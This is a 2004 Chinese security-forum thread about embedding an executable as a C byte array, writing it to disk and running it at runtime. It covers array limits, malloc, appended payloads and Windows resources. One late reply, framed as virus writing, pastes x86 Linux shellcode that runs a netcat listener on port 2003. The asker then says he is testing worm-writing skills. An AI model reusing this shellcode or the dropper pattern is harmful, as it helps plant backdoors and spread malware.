首页
社区
课程
招聘
请教:c 语言中数组下标的最大值可以是多少???
2004-10-12 10:25 8538

请教:c 语言中数组下标的最大值可以是多少???

2004-10-12 10:25
8538
c 语言中数组下标的最大值可以是多少???

如 int data[?]

?号处的最大值可以是多少??

我想将一个可执行文件(4K)用16进制的型式存放在data中

还有什么别的方法吗/?

谢谢 :)

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (15)
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
riijj 7 2004-10-12 10:51
2
0
学习 malloc
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-12 15:34
3
0
我的意思是:有一个(exe)文件,我用WINHEX打开后,将数据以 C 的16进制形垫,存放在data[]中,运行我的程序时,将data中的数据写入新建的EXE文件中,
然后SHELL调用,运行新建的EXE文件。:)
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
riijj 7 2004-10-12 15:57
4
0
检查 exe 的大小之后用 malloc 取空间,找教程看看

不要再想 data[]

浪费内存空间制造巨型数组放置大小不定的数据
雪    币: 12181
活跃值: (3342)
能力值: ( LV15,RANK:1565 )
在线值:
发帖
回帖
粉丝
AloneWolf 3 2004-10-12 16:07
5
0
4K大应该没问题

还有方法就是将那个EXE文件直接附在你的程序后面,用时读出来再写成一个新的文件.
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-12 17:02
6
0
AloneWolf:好像明白了的我想法了:)

我是想,不能将exe文件以数据形势 保存在常量中吗??
如果能怎么做???

我这方面学的不扎实,好像设及到编译方式的问题了!

riijj:我的目的是不要两个文件,

在开发时,将目标文件就以数据的形势保存在常量中,运行程序时动态的用常量中的数据建一个EXE文件,明白吗?

谢谢两位:)
雪    币: 12181
活跃值: (3342)
能力值: ( LV15,RANK:1565 )
在线值:
发帖
回帖
粉丝
AloneWolf 3 2004-10-12 17:31
7
0
你说的HEX也不是不可以,这样就行了,如;
const unsigned char ExeFileData[]={
0x4d,0x5a......
};
到时再将ExeFileData的内容写到ExeFile就行了...
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
riijj 7 2004-10-12 17:35
8
0
啊,原来你想把 exe 放在你的执行文件

你可以把那 exe 当成一般的资源存在你的执行文件 (像一个程序的 icon, cursor , 图片一样)

举例说,如果你用 VC6 ,你只需要把那 exe 加到你的 project 里,把它
当成资源

运行的时候,用 LoadResource 跟 LockResource 取得它的位置  (pointer to first byte )
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-13 10:08
9
0
AloneWolf:

不行啊!!
我就是这样试过,你在VC里试试!:) 不让粘贴。
提示:Line broken:the line would exceed 2048 characters

#################################
riijj:

你的思路不错,我没想到过:)
回来试试,

关建是在TC2中怎么办呢??我用的是VC6,可如果在TC2中,还是用data常量好用:)
雪    币: 3758
活跃值: (3212)
能力值: ( LV15,RANK:500 )
在线值:
发帖
回帖
粉丝
曾半仙 12 2004-10-13 11:08
10
0
如果非要用这种只有老师才会用的方法(嘿嘿)
你用winhex来拷贝为C style的数组定义,会替你断行

C编译器报错信息已经很明白了,你把数组所有内容都写在一行了.
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-13 13:21
11
0
哈哈!!成功!成功!!!
原来是这么一回事!
怎么这还有要求啊???
真是怪!!!
写一行与写多行不一样吗??
反正都是DATA中的数据呗!!

谢谢 !!!!
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-13 13:26
12
0
不对!!不对
我做了个变态的试验,开了一个RAR包(1.2M)这样就不行了!!
这是什么原因限制的?
雪    币: 12181
活跃值: (3342)
能力值: ( LV15,RANK:1565 )
在线值:
发帖
回帖
粉丝
AloneWolf 3 2004-10-13 14:49
13
0
16位下的?
一个段最多才64K....1.2M当然不行,VC下应该可以吧...
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-13 15:21
14
0
我就是在VC下的啊!
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ecawen 2004-10-13 22:10
15
0
写病毒呢?可以写成你说的那16进制,找些shellcode的编写教程应该可以参出来
和这个类似吧
#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#define bufsize 272

char shellcode[] =

"\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88"

"\x46\x12\x89\x76\x13\x8d\x5e\x08\x89\x5e\x17\x8d\x5e\x0b\x89"

"\x5e\x1b\x8d\x5e\x0e\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3"

"\x8d\x4e\x13\x8d\x56\x23\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x75"

"\x73\x72\x2f\x6e\x63\x23\x2d\x6c\x23\x2d\x70\x23\x32\x30\x30"

"\x33\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44"

"\x44\x44\x44\x45\x45\x45\x45";

int main(int argc,char *argv[]){
雪    币: 768
活跃值: (430)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
FishSeeWater 11 2004-10-15 09:03
16
0
测试一下写里蠕虫的能力:)
游客
登录 | 注册 方可回帖
返回